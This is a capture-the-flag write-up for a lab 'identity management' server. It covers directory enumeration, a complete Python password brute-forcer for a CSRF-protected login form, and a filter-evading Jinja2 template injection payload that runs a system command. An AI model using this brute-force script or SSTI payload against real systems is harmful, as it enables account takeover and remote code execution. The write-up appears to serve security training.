Skip to content

Role Management Service

🧠 Challenge Text

Hi, emergency troubleshooter,

we urgently need to replace the outdated identity management system with a new progressive solution. Verify that it is functioning properly and that no information leakage is occurring. New instance is running on server idm-new.powergrid.tcc.

Stay grounded!

🔍 Hints Text

1. Hint Even if you find what you are looking for, you must use brut(al) force to get it!

🎨 Solution

Checking paths using dirbuster tool at idm-new.powergrid.tcc... Interesting one is announcement page at http://idm-new.powergrid.tcc/announcement which contains a lot of information about posts and their users: for instance http://idm-new.powergrid.tcc/user/22

User Profile

Username: ella.reed

Email: ella.reed@powergrid.tcc

Roles:

ROLE_ADMIN ROLE_USER

Using the hint we bruteforce 10K common passwords for ella.reed@powergrid.tcc

# detection.py -- snippet to detect success by page content + other heuristics
import sys
import requests
from bs4 import BeautifulSoup

LOGIN_URL = "http://idm-new.powergrid.tcc/login"   # change to your authorized target
USERNAME = "ella.reed@powergrid.tcc"

if len(sys.argv) != 2:
    print("Usage: python3 tester.py <passwords_file>")
    sys.exit(1)

password_file = sys.argv[1]

session = requests.Session()
session.headers.update({"User-Agent": "local-tester/1.0"})

def get_csrf_token():
    r = session.get(LOGIN_URL, timeout=10)
    r.raise_for_status()
    soup = BeautifulSoup(r.text, "html.parser")
    token_input = soup.find("input", {"name": "_csrf_token"})
    return token_input.get("value") if token_input else None

def is_failure_by_message(html_text):
    """Return True if the HTML contains an explicit failure message."""
    soup = BeautifulSoup(html_text, "html.parser")
    # Look for the alert div you pasted
    alert = soup.find("div", {"class": "alert alert-danger text-center"})
    if alert and "Invalid credentials" in alert.get_text(strip=True):
        return True
    # Add other failure patterns here if needed
    return False

def is_success_by_page(html_text):
    """Optional: look for positive success markers instead."""
    soup = BeautifulSoup(html_text, "html.parser")
    # Look for the alert div you pasted
    alert = soup.find("div", {"class": "alert alert-danger"})
    if alert and "Invalid credentials" in alert.get_text(strip=True):
        return False
    # Add other failure patterns here if needed
    return True

def try_password(password):
    token = get_csrf_token()
    data = {"_username": USERNAME, "_password": password}
    if token:
        data["_csrf_token"] = token

    r = session.post(LOGIN_URL, data=data, allow_redirects=True, timeout=10)

    # Heuristic 1: server redirects on success (common)
    if r.status_code in (301, 302):
        print(f"[+] Possibly success (redirect {r.status_code}) for '{password}' -> {r.headers.get('Location')}")
        return True

    # Heuristic 2: Check Set-Cookie changes (session cookie rotated/added)
    # (Record cookie before/after if you want to use this)
    # Example: if 'session' cookie value changed significantly, could indicate login
    # You can enable this check if appropriate for your target.

    # Heuristic 3: Look for explicit failure message in page
    # print(r.text)
    if is_failure_by_message(r.text):
        print(f"[-] Invalid (message detected) for '{password}' (HTTP {r.status_code})")
        return False

    # Heuristic 4: Look for explicit success markers
    if is_success_by_page(r.text):
        print(f"[+] SUCCESS (page marker) for '{password}'")
        return True

    # If none of the above, treat as ambiguous — print snippet for manual review
    snippet = r.text.strip()[:300].replace("\n", " ")
    print(f"[?] Ambiguous response for '{password}' (HTTP {r.status_code}). Snippet: {snippet!s}")
    return False

# Example usage:
if __name__ == "__main__":
    with open(password_file, "r", encoding="utf-8") as f:
        for line in f:
            pw = line.strip()
            if not pw:
                continue
            ok = try_password(pw)
            if ok:
                print(f"[+] Found likely password: {pw}")
                break

We got 123abc password.

Admin Search Users

In admin search users bar we can spot it is sensible to jinja2 server side template injection(ssti). Simple test is to try check expression such as {{7*7}}.

By error-try approach we can come up with expression which allow us to execute system command such as printenv

{%block X%}printenvINTIGRITIsystem{%endblock%}{%set y=block('X')|split('INTIGRITI')%}{{[y|first]|map(y|last)|join}}

Finally, FLAG=RkxBR3tUaEtILWRxaW8tNDlBWC1TWmxHfSAK